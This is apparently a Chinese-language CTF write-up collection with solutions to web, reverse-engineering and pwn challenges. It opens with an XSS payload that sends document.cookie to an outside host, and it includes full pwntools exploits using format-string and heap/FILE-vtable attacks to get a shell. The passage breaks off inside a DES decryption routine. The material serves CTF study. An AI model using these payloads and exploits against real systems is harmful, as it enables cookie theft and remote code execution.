<img src="\" onerror=window.location.href='http://0xb.pw?cookie='%2bdocument.cookie>
getflag!
## level5
### A true man can play a palo one hundred time
#### 题目说明
Question
Now you have a balance palo.
You can move it left or right.
Just play hundred time on it.
Description
Get request receive two params
1. move, 0 or 1
2. id, just your token
Observation
1. pole position x
2. a value depend on x
3. pole deviate from center θ
4. a value depend on θ
Why you failed
θ or x > a certain value
总而言之就是个玩棒子的游戏(雾。
之所以出现在最后一道请去问关卡规则的设计者。
因为ctf本来不应该出现这种问题，所以我有意把这题设计得简单了一点，但是，ctf真是不讲道理，也导致这道题被少量非预期。
其实就是一个非常非常简单的强化学习的问题，甚至不需要强化学习去解。
#### DQN网络结构定义
import numpy as np
import tensorflow as tf
import requests
import math
class DeepQNetwork:
def __init__(
self,
n_actions,
n_features,
learning_rate=0.01,
reward_decay=0.9,
e_greedy=0.9,
replace_target_iter=300,
memory_size=500,
batch_size=32,
e_greedy_increment=None,
output_graph=False,
):
self.n_actions = n_actions
self.n_features = n_features
self.lr = learning_rate
self.gamma = reward_decay
self.epsilon_max = e_greedy
self.replace_target_iter = replace_target_iter
self.memory_size = memory_size
self.batch_size = batch_size
self.epsilon_increment = e_greedy_increment
self.epsilon = 0 if e_greedy_increment is not None else self.epsilon_max
# total learning step
self.learn_step_counter = 0
# initialize zero memory [s, a, r, s_]
self.memory = np.zeros((self.memory_size, n_features * 2 + 2))
# consist of [target_net, evaluate_net]
self._build_net()
t_params = tf.get_collection('target_net_params')
e_params = tf.get_collection('eval_net_params')
self.replace_target_op = [tf.assign(t, e) for t, e in zip(t_params, e_params)]
self.sess = tf.Session()
if output_graph:
# $ tensorboard --logdir=logs
# tf.train.SummaryWriter soon be deprecated, use following
tf.summary.FileWriter("logs/", self.sess.graph)
self.sess.run(tf.global_variables_initializer())
self.cost_his = []
def _build_net(self):
# ------------------ build evaluate_net ------------------ self.s = tf.placeholder(tf.float32, [None, self.n_features], name='s') # input
self.q_target = tf.placeholder(tf.float32, [None, self.n_actions], name='Q_target') # for calculating loss
with tf.variable_scope('eval_net'):
# c_names(collections_names) are the collections to store variables
c_names, n_l1, w_initializer, b_initializer = \
['eval_net_params', tf.GraphKeys.GLOBAL_VARIABLES], 10, \
tf.random_normal_initializer(0., 0.3), tf.constant_initializer(0.1) # config of layers
# first layer. collections is used later when assign to target net
with tf.variable_scope('l1'):
w1 = tf.get_variable('w1', [self.n_features, n_l1], initializer=w_initializer, collections=c_names)
b1 = tf.get_variable('b1', [1, n_l1], initializer=b_initializer, collections=c_names)
l1 = tf.nn.relu(tf.matmul(self.s, w1) + b1)
# second layer. collections is used later when assign to target net
with tf.variable_scope('l2'):
w2 = tf.get_variable('w2', [n_l1, self.n_actions], initializer=w_initializer, collections=c_names)
b2 = tf.get_variable('b2', [1, self.n_actions], initializer=b_initializer, collections=c_names)
self.q_eval = tf.matmul(l1, w2) + b2
with tf.variable_scope('loss'):
self.loss = tf.reduce_mean(tf.squared_difference(self.q_target, self.q_eval))
with tf.variable_scope('train'):
self._train_op = tf.train.RMSPropOptimizer(self.lr).minimize(self.loss)
# ------------------ build target_net ------------------ self.s_ = tf.placeholder(tf.float32, [None, self.n_features], name='s_') # input
with tf.variable_scope('target_net'):
# c_names(collections_names) are the collections to store variables
c_names = ['target_net_params', tf.GraphKeys.GLOBAL_VARIABLES]
# first layer. collections is used later when assign to target net
with tf.variable_scope('l1'):
w1 = tf.get_variable('w1', [self.n_features, n_l1], initializer=w_initializer, collections=c_names)
b1 = tf.get_variable('b1', [1, n_l1], initializer=b_initializer, collections=c_names)
l1 = tf.nn.relu(tf.matmul(self.s_, w1) + b1)
# second layer. collections is used later when assign to target net
with tf.variable_scope('l2'):
w2 = tf.get_variable('w2', [n_l1, self.n_actions], initializer=w_initializer, collections=c_names)
b2 = tf.get_variable('b2', [1, self.n_actions], initializer=b_initializer, collections=c_names)
self.q_next = tf.matmul(l1, w2) + b2
def store_transition(self, s, a, r, s_):
if not hasattr(self, 'memory_counter'):
self.memory_counter = 0
transition = np.hstack((s, [a, r], s_))
# replace the old memory with new memory
index = self.memory_counter % self.memory_size
self.memory[index, :] = transition
self.memory_counter += 1
def choose_action(self, observation):
# to have batch dimension when feed into tf placeholder
observation = observation[np.newaxis, :]
if np.random.uniform() < self.epsilon:
# forward feed the observation and get q value for every actions
actions_value = self.sess.run(self.q_eval, feed_dict={self.s: observation})
action = np.argmax(actions_value)
else:
action = np.random.randint(0, self.n_actions)
return action
def learn(self):
# check to replace target parameters
if self.learn_step_counter % self.replace_target_iter == 0:
self.sess.run(self.replace_target_op)
print('\ntarget_params_replaced\n')
# sample batch memory from all memory
if self.memory_counter > self.memory_size:
sample_index = np.random.choice(self.memory_size, size=self.batch_size)
else:
sample_index = np.random.choice(self.memory_counter, size=self.batch_size)
batch_memory = self.memory[sample_index, :]
q_next, q_eval = self.sess.run(
[self.q_next, self.q_eval],
feed_dict={
self.s_: batch_memory[:, -self.n_features:], # fixed params
self.s: batch_memory[:, :self.n_features], # newest params
})
# change q_target w.r.t q_eval's action
q_target = q_eval.copy()
batch_index = np.arange(self.batch_size, dtype=np.int32)
eval_act_index = batch_memory[:, self.n_features].astype(int)
reward = batch_memory[:, self.n_features + 1]
q_target[batch_index, eval_act_index] = reward + self.gamma * np.max(q_next, axis=1)
# train eval network
_, self.cost = self.sess.run([self._train_op, self.loss],
feed_dict={self.s: batch_memory[:, :self.n_features],
self.q_target: q_target})
self.cost_his.append(self.cost)
# increasing epsilon
self.epsilon = self.epsilon + self.epsilon_increment if self.epsilon < self.epsilon_max else self.epsilon_max
self.learn_step_counter += 1
#### 学习迭代
x_threshold = 2.4
theta_threshold_radians = 1/15*math.pi
RL = DeepQNetwork(n_actions=2,
n_features=4,
learning_rate=0.01, e_greedy=0.9,
replace_target_iter=100, memory_size=2000,
e_greedy_increment=0.001,)
total_steps = 0
for i_episode in range(100):
json_req = requests.get(url=url, params={'id': token, 'move': 0}).json()
observation = json_req['observation']
ep_r = 0
while True:
action = RL.choose_action(np.array(observation))
json_req = requests.get(url=url, params={'id': token, 'move': action}).json()
try: observation_ = json_req['observation']
except KeyError:
pass
print(observation)
done = not json_req['status']
# the smaller theta and closer to center the better
x, x_dot, theta, theta_dot = observation_
r1 = (x_threshold - abs(x))/x_threshold - 0.8
r2 = (theta_threshold_radians - abs(theta))/theta_threshold_radians - 0.5
reward = r1 + r2
RL.store_transition(observation, action, reward, observation_)
ep_r += reward
if total_steps > 1000:
RL.learn()
if done:
count = json_req['count']
if count == 100:
print(json_req['flag'])
else:
print('count:', json_req['count'])
break
observation = observation_
total_steps += 1
# Bin
## level1
### Evr_Q
#### 0x00 写在前面
这题一开始是准备TLS+SMC+反调试的，发现放在第一题有些不太合适，就把SMC的调用部分删掉了。
（其实留下了彩蛋，smc的实现我没有删XD）
设计思路：
用TLS检测工具进程和调试器，进入主函数后先检测用户名，通过后检测StartCode(即flag)，最后输入'Y'确认CM。
部分细节：
> * Win10的TLS在vs17上有点小Bug，只能在Debug模式下跑起来，于是没有选择Release版本，如果给大家带来困扰这里十分抱歉。
> * 用户名注册存在多解，原因是我把进位值舍去了（输入'I'也能通过username验证哦）
> * StartCode部分先验证长度为35
> Step1: 全体 xor 0x76
> Step2: [7:14]每个字节先异或0xAD, 再将0b10101010位与0b01010101位互换
> Step3: [14:21]每个字节先异或0xBE, 再将0b11001100位与0b00110011位互换
> Step4: [21:28]每个字节先异或0xAD, 再将0b11110000位于0b00001111位互换
> * Step2~4加密前先调用ntdll!NtQueryInformationProcess, 各检查1种标志(7, 30，31)
> * 比较简单的做法直接用ida看了，cuz没有造成任何静态反编译的难度
>
#### 0x01 Wp
import random
import os
import hashlib
enc_flag = [30, 21, 2, 16, 13, 72, 72, 111, 221, 221, 72, 100, 99, 215, 46, 44, 254, 106, 109, 42, 242, 111, 154, 77, 139, 75, 30, 30, 14, 14, 14, 14, 14, 14, 11]
dec_flag = [0] * len(enc_flag)
#/////////////////////////////////////////////////
def dec0_f(dec_t, enc_t, num):
for i in range(num):
dec_t[i] = chr(enc_t[i] ^ 0x76)
return dec_t
#/////////////////////////////////////////////////
def dec1_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t[i] & 0x55) << 1
v2 = (enc_t[i] >> 1) & 0x55
enc_t[i] = v1 | v2
dec_t[i] = enc_t[i] ^ 0xAD
return dec_t
#/////////////////////////////////////////////////
def dec2_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t[i] & 0x33) << 2
v2 = (enc_t[i] >> 2) & 0x33
enc_t[i] = v1 | v2
dec_t[i] = enc_t[i] ^ 0xBE
return dec_t
#/////////////////////////////////////////////////
def dec3_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t[i] & 0xF) << 4
v2 = (enc_t[i] >> 4) & 0xF
enc_t[i] = v1 | v2
dec_t[i] = enc_t[i] ^ 0xEF
return dec_t
#/////////////////////////////////////////////////
def dec_f(dec_flag, enc_flag):
for i in range(len(enc_flag)):
dec_flag[i] = enc_flag[i]
dec_flag[21:28] = dec3_f(dec_flag[21:28], enc_flag[21:28], 7)
dec_flag[14:21] = dec2_f(dec_flag[14:21], enc_flag[14:21], 7)
dec_flag[7:14] = dec1_f(dec_flag[7:14], enc_flag[7:14], 7)
dec_flag = dec0_f(dec_flag, dec_flag, 35)
#/////////////////////////////////////////////////
dec_f(dec_flag, enc_flag)
print ''.join(dec_flag)
flag:
hctf{>>D55_CH0CK3R_B0o0M!-xxxxxxxx}
## level2
### ez_crackme
考察对简单解释器的逆向能力。
#### 加密解密过程
box=[]
for i in range(32):
x=(x+51)%32
box.append(x)
先用如上方式初始化一个box。
用这个box将输入的明文进行乱序。
head = (out[0]&0xe0)>>5
for i in range(31):
out[i] = ((out[i]&0x1f)<<3)+((out[i+1]&0xe0)>>5)
out[31] = ((out[31]&0x1f)<<3) + head
然后用如上方式，将乱序后的结果进行整体循环左移3位。
key = 'deadbeef'.decode('hex')
for i in range(32):
out2.append(out[i]^((ord(key[i%4])+i)&0xff))
然后利用key和下标i对左移后的结果做异或即可。
完整python加密解密脚本：
key = 'deadbeef'.decode('hex')
def encrypt(flag):
out=[]
out2=[]
x=0#gen box
box=[]
for i in range(32):
x=(x+51)%32
box.append(x)
for i in range(32):
out.append(ord(flag[box[i]]))
head = (out[0]&0xe0)>>5
for i in range(31):
out[i] = ((out[i]&0x1f)<<3)+((out[i+1]&0xe0)>>5)
out[31] = ((out[31]&0x1f)<<3) + head
for i in range(32):
out2.append(out[i]^((ord(key[i%4])+i)&0xff))
return out2
def decrypt(enc_list):
out=[]
out2=[0]*32
x=0#gen box
box=[]
for i in range(32):
x=(x+51)%32
box.append(x)
for i in range(32):
out.append(enc_list[i]^(ord(key[i%4])+i))
tail = out[31]&0x7
for i in reversed(range(1,32)):
out[i] = ((out[i]&0xf8)>>3)+((out[i-1]&0x7)<<5)
out[0] = ((out[0]&0xf8)>>3)+(tail<<5)
for i in range(32):
out2[box[i]] = out[i]
return ''.join(map(chr,out2))
#### 解释器分析
//register
#define _eax 0
#define _ebx 1
#define _ebx2 2
#define _ecx 3
#define _edx 4
#define _esp 5
#define _lf 6
#define _neq 7
#define _t_intp 8
#define _t_chp 9
#define _t_int 10
#define _flag 11
#define _enc 12
#define _key 13
//opcode
#define _mov (0<<1)
#define _mov32 (1<<1)
#define _lea_ch (2<<1)
#define _lea_int (3<<1)
#define _ldr_int (4<<1)
#define _ldr_ch (5<<1)
#define _add (6<<1)
#define _add_pint (7<<1)
#define _add_pch (8<<1)
#define _my_xor (9<<1)
#define _mod (10<<1)
#define _my_or (11<<1)
#define _my_and (12<<1)
#define _push (13<<1)
#define _pop (14<<1)
#define _shr (15<<1)
#define _shl (16<<1)
#define _ror (17<<1)
#define _cmpl (18<<1)
#define _cmpeq (19<<1)
#define loop (20<<1)
#define code_end (21<<1)
//type
#define rn 0
#define rr 1
定义了一些寄存器以及变量，解释器指令，以及指令后面的变量种类。一个完整的指令由高7位的类型和低1位的变量类型组成。
`rr`表示`op reg,reg`,`rn`表示`op reg,num`。
用宏写的解释代码
char code[] = {
_lea_ch | rr,_ebx, _flag,
_my_xor | rr,_ecx, _ecx,
_my_xor | rr,_eax,_eax,
_my_xor | rr,_edx,_edx,
loop,
_add | rn,_eax, 51,
_mod | rn,_eax, 32,
_lea_ch | rr,_t_chp, _ebx,
_add_pch | rr,_t_chp,_eax,
_ldr_ch | rr,_t_int,_t_chp,
_mov | rr,_edx,_t_int,
_push | rr,_esp,_edx,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
loop,
_my_xor | rr,_eax,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0xe0,
_shr | rn,_eax, 5,
_mov | rr,_edx,_eax,
_my_xor | rr,_ecx, _ecx,
loop,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0x1f,
_shl | rn,_eax, 3,
_push | rr,_esp,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0xe0,
_shr | rn,_eax, 5,
_pop | rr,_esp,_t_int,
_add | rr,_t_int,_eax,
_push | rr,_esp,_t_int,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 31,
loop,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0x1f,
_shl | rn,_eax, 3,
_add | rr,_eax,_edx,
_push | rr,_esp,_eax,
_my_xor | rr,_ecx, _ecx,
_mov32 | rr,_edx, _key,
loop,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_push | rr,_esp,_eax,
_mov | rr,_eax,_edx,
_add | rr,_eax, _ecx,
_pop | rr,_esp,_t_int,
_my_xor | rr,_t_int,_eax,
_push | rr,_esp,_t_int,
_ror | rn,_edx, 8,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
loop,
_my_xor | rr,_ecx, _ecx,
_my_xor | rr,_edx,_edx,
_lea_ch | rr,_ebx,_enc,
loop,
_lea_ch | rr,_t_chp, _ebx,
_add_pch | rr,_t_chp, _ecx,
_ldr_ch | rr,_t_int,_t_chp,
_mov | rr,_eax,_t_int,
_push | rr,_esp,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -33,
_ldr_int | rr,_t_int,_t_intp,
_pop | rr,_esp,_eax,
_push | rr,_esp,_eax,
_cmpeq | rr,_eax,_t_int,
_my_or | rr,_edx, _neq,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
loop,
code_end
};
其中loop的实现是用记录ip的方式来实现的。
完整的程序代码见github。
### guestbook
作为第一道pwn，出的应该是比较老套简单的东西。
主要考察点有三个。
利用ebp chain和fmt来实现任意地址写。
对`__free_hook`的了解。
对`$0`get shell的了解（最后貌似无人使用，因为有其他方法。）
我的exp:
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
bin = ELF('./guestbook')
libc = ELF('./libc.so')
def add(name,phone):
cn.sendline('1')
cn.recvuntil('OK,your guest index is ')
idx = int(cn.recvuntil('\n'))
cn.recvuntil('?')
cn.send(name)
cn.recvuntil('?')
cn.send(phone)
cn.recvuntil('success!\n')
return idx
def see(idx):
cn.sendline('2')
cn.recvuntil('index:')
cn.sendline(str(idx))
cn.recvuntil('the name:')
name = cn.recvuntil('\n')
cn.recvuntil('the phone:')
phone = cn.recvuntil('\n')
cn.recvuntil('===========')
return [name,phone]
def delete(idx):
cn.sendline('3')
cn.recvuntil('index:')
cn.sendline(str(idx))
def fmt(pay):
idx = add(pay,'1111')
see(idx)
delete(idx)
def fmt2(pay):
idx = add(pay,'1111')
see(idx)
def z():
gdb.attach(cn)
raw_input()
cn = process('./guestbook')
idx = add('%3$x','0')
libc_base = int(see(idx)[0],16)-71 - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base+0x001B38B0
system = libc_base + libc.symbols['system']
success('libc_base: '+hex(libc_base))
success('free_hook: '+hex(free_hook))
success('system: '+hex(system))
idx = add('%72$x','1')
ebp_2 = int(see(idx)[0],16)# %80$x
ebp_1 = ebp_2-0x20# %72$x
ebp_3 = ebp_2+0x20# %88$x
success('ebp_1: '+hex(ebp_1))
success('ebp_2: '+hex(ebp_2))
success('ebp_3: '+hex(ebp_3))
pay = '%'+str((ebp_3+8)&0xffff)+'c%80$hn'
fmt(pay)
pay = '%'+str((ebp_3+2)&0xffff)+'c%72$hn'
fmt(pay)
pay = '%'+str(((ebp_3+8)&0xffff0000)>>16)+'c%80$hn'
fmt(pay)
pay = '%'+str((ebp_3)&0xffff)+'c%72$hn'
fmt(pay)
pay = '%'+str(free_hook&0xffff)+'c%88$hn'
fmt(pay)
#z()
pay = '%'+str(system&0xffff)+'c%90$hn'
fmt2(pay)
pay = '%'+str((free_hook&0xffff)+2)+'c%88$hn'
fmt2(pay)
pay = '%'+str((system&0xffff0000)>>16)+'c%90$hn'
fmt2(pay)
idx=add('get shell','$0\x00')
delete(idx)
cn.interactive()
### babyprintf
题目只有malloc和一个printf_chk，printf_chk和printf不同的地方有两点：
1. 不能使用$n不连续的打印
2. 在使用%n的时候会做一系列检查
虽然如此，但leak libc地址还是可以的。这个我想大部分人都想到了。
然后重点就是如何使用程序唯一的堆溢出。没有free的问题 可以通过free topchunk解决，然后很多选手在这都使用了unsortedbin
attack拿到shell。
如何通过unsortedbin attack利用我就不多说了, 应该会有其他wp放出。我说一下如何利用 fastbin
attack解决这个问题。首先我们能free 一个top chunk，然后有了第一个就能有第二个，不断申请内存或者覆盖top
chunk的size可以很轻易的做到这点。同时，我们可以另下面那个的size为0x41，之后申请上面那个堆块就能把下面这个fastbin覆盖了。通过这个0x41的fastbin
attack, 我们可以覆盖到位于data段上的stdout指针，具体如下
-------------------- -------------------- freed chunk1 alloced
-------------------- -------------------- dummy -> overflow
-------------------- -------------------- freed chunk2(0x41) chunk2->fd=target
-------------------- --------------------
当然libc中是存在onegadget的，所以也有人直接去覆盖malloc_hook，这些都可以
然后一个比较蛋疼的是libc-2.24的问题，因它为加入了新的对vtable的检验机制。如何绕过呢？这个方法很多，只要记得一点，我们已经能控制“整个“FILE结构体，这点如果稍微去看下源码的话应该能找到很多方法，这里提供一个替换vtable(
_IO_file_jumps)到另一个vtable( _IO_str_jumps), 利用两个vtable
defalut方法的不同拿到shell的解题脚本(偏移请自行更改)：
from pwn import *
context.log_level='debug'
def pr(size,data):
p.sendline(str(size))
p.recv()
p.sendline(data)
p.recvuntil('result: ')
return p.recvuntil('size: ')[:-5]
p = process('./babyprintf')
p.recvuntil('size: ')
for i in range(32):
pr(0xff0,'a')
p.sendline('0xe00')
p.recv()
p.sendline('%llx')
p.recvuntil('result: ')
libc_addr = int('0x'+p.recv(12),16)-0x3c6780
print 'libc: ',hex(libc_addr)
p.recvuntil('size: ')
pr(8,'a'*0x18+p64(0x1d1))
pr(0x1d0,'1')
pr(0x130,'1')
pr(0xd00,'1')
pr(0xa0,'a'*0xa8+p64(0x61))
pr(0x200,'a')
p.sendline('0x60')
p.recvuntil('string: ')
p.sendline('\x00'*0x2028+p64(0x41)+p64(0x601062))
p.recv()
pr(0x30,'a')
system_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18cd17
malloc_addr = libc_addr + 0x84130
vtable_addr = libc_addr+0x3c37a0
flag=2|0x8000
fake_stream = p64(flag)+p64(0)
fake_stream += p64(0)*2
fake_stream += p64(0)
fake_stream += p64(0x7fffffffffffffff)
fake_stream = fake_stream.ljust(0x38,'\x00')
fake_stream += p64(sh_addr)
fake_stream += p64(sh_addr)
fake_stream = fake_stream.ljust(0xc0,'\x00')
fake_stream += p64(0xffffffffffffffff)
fake_stream = fake_stream.ljust(0xd8,'\x00')
fake_stream += p64(vtable_addr)
fake_stream += p64(malloc_addr) #alloc
fake_stream += p64(system_addr) #hook free
p.sendline('0x30')
p.sendline('a'*14+p64(0x601090)+p64(0)+fake_stream)
p.interactive()
## level3
### ar_u_ok
主要考察对ptrace的认识和rc6,rc4的识别
#### 加密解密
真正的加密和解密过程很简单，就是一个标准的rc6，只要把函数中的那个int常量放到google里搜索一下就知道是rc6加密（这个函数的代码被rc4加密了，不不解密是看不到的）。
rc6加密和解密的代码见源码
#### 程序流程
程序首先判断启动参数，如果argc为1，则以debugger身份启动，利用fork分出parent和child。parent作为真正的debugger，child利用execve来启动自身并以父进程的pid作为启动参数。
如果argc为2，说明是debuggee。程序利用puts打印`plz_input_flag`，但是write的syscall被ptrace
hook了。puts的原始内容是乱码，需要debugger对其进行解密。
然后是利用scanf来接收flag。默认是允许输入`%48s`但是这里ptrace hook了read syscall，检测read
syscall触发的次数（在程序开头利用setbuf将stdin和stdout的缓冲调整为0）,从而使flag的真实最大长度为32。
接着是一段判断是否调试者为父进程的代码，没问题的话会调用fclose来关闭之前打开的文件。此处用ptrace hook了close
syscall。但是在程序运行前也会调用close syscall。这里利用设置变量的方式，使得在第二次close的时候触发。
触发时执行的代码是利用rc4将两个函数解密，然后patch代码为`0xcc`使程序停在检测trace代码的下一行，在将其patch成jmp到data段的那段唯一可视的雷军ascii字符处，并将flag传递给rdx，接着继续执行。雷军那段ascii其实是代码。前面的`52Mi!`是`xor
eax, 0x21694d32`，从而使后面的jne全部成立，`R_`是`push rdx;pop
rdi`，从而将之前在rdx中的flag传递到rdi中。利用`u_`这个jne跳转跳过中间的非代码区，最后jmp到encrypt函数中。
encrypt函数就是调用rc6加密，将32位的flag分16位两次加密，最后和enc结果比较。
由于调用了很多的ptrace来实现smc和hook，纯动态分析应该不太可能实现，需要静态分析后patch程序才能使用动态分析。
完整程序见github，由于有smc部分，可能在不同机子上编译结果不正确，所以提供了一个测试用的binary。
### ippatsu-nyuukon
#### 0x00 写在前面
设计思路：
应用层与驱动层通信，在驱动层加密由应用层发送过来的明文后比较flag，并输出结果
部分细节：
> * 驱动层的分发函数分为2部分，SEND和RECV；
> SEND：接受从应用层发来的明文并加密，其本体是DES
> RECV：比较加密后的明文和加密flag
> * 驱动层接受的明文，实际上只有第一次加密结果是正确的
> * DES后将不可视数据转为hex
> * 加密数据与加密flag比较前先异或同一个随机字节
>
#### 0x01 wp
跟到分发函数的SEND, 定位加密算法
因为DES对称加密算法，所以从ida中抠出来，修改小部分并添加密文+key就可以跑解密脚本了
// desrypt_des.cpp
#include <stdio.h>
#include <string.h>
#define maxn 0x8000 // 理论支持明文长度
//#define ENCODE 0,16,1 // 加密用的宏
#define DECODE 15,-1,-1 // 解密用的宏
// 明文初始置换
char msg_ch[64] = {
58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7
};
// 密钥初始置换
char key_ch[56] = {
57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4
};
// 扩展置换
char msg_ex[48] = {
32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1
};
// 每轮密钥的位移
char key_mov[16] = {
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};
// 压缩置换
char key_cmprs[48] = {
14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32
};
// S 盒置换
char s_box[8][6][16] = {
// S1
14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13,
// S2
15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9,
// S3
10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12,
// S4
7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14,
// S5
2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3,
// S6
12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13,
// S7
4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12,
// S8
13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11
};
// P 盒置换
char p_box[32] = {
16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25
};
// 末置换
char last_ch[64] = {
40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25
};
// hash 置换，将加密后的密文置换为可读明文
char hs_ch[20] = "0123456789abcdef";
char sh_ch[128];
void init_trans() {
char i;
for (i = 0; i < 16; i++)
sh_ch[hs_ch[i]] = i; // 完成hash转换的对应
}
char msg[maxn] = "aed3899df15bd7babb99acf5ebb9f5cd8cd44a77c53263de46ef9f3d773fe908";
char res[32];
char msgb[72], msgbt[72], keyb[18][72];
char key[16] = "deadbeef";
// 字符转成二进制
void ChToBit(char* dest, char* src, int length) {
int i, j;
char t;
for (i = 0; i < length; i++) {
for (j = 8, t = src[i]; j > 0; j--) {
dest[(i << 3) + j] = t & 1; // 取字符末位
t >>= 1;
}
}
}
// 二进制转成字符
void BitToCh(char* dest, char* src, int length) {
int i;
for (i = 0; i < length << 3; i++) {
dest[i >> 3] <<= 1;
dest[i >> 3] |= src[i + 1]; // 添加到末位
}
dest[length] = 0;
}
// 批置换，以offset为偏移，以count为长度
void BatchSet(char* dest, char* src, char* offset, int count) {
int i;
for (i = 0; i < count; i++)
dest[i + 1] = src[offset[i]];
}
// 得到16轮所需的密钥
void getKeys() {
char tk[128], bk[72];
char* ptk = tk;
int i, j;
for (i = 0; i < 8; i++)
key[i] <<= 1; // 跳过奇偶校验位
ChToBit(bk, key, 8);
BatchSet(tk, bk, key_ch, 56);
for (i = 0; i < 16; i++) {
